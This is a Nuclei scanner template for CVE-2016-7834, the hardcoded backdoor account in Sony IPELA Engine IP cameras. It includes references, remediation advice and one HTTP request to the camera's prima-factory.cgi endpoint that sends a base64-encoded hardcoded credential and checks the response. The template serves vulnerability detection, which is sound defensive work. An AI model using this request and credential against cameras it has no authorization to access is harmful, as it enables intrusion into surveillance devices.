nuclei-templates/http/cves/2016/CVE-2016-7834.yaml

45 lines
1.2 KiB
YAML

id: CVE-2016-7834
info:
name: Sony IPELA Engine IP Camera - Hardcoded Account
author: af001
severity: high
description: |
Multiple SONY network cameras are vulnerable to sensitive information disclosure via hardcoded credentials.
reference:
- https://sec-consult.com/vulnerability-lab/advisory/backdoor-vulnerability-in-sony-ipela-engine-ip-cameras/
- https://www.bleepingcomputer.com/news/security/backdoor-found-in-80-sony-surveillance-camera-models/
- https://jvn.jp/en/vu/JVNVU96435227/index.html
- https://nvd.nist.gov/vuln/detail/CVE-2016-7834
remediation: |
Upgrade to the latest version of the firmware provided by Sony.
classification:
cvss-metrics: CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2016-7834
cwe-id: CWE-200
tags: sony,backdoor,unauth,telnet,iot,camera
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/command/prima-factory.cgi"
headers:
Authorization: Bearer cHJpbWFuYTpwcmltYW5h
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'gen5th'
- 'gen6th'
condition: or
- type: status
status:
- 204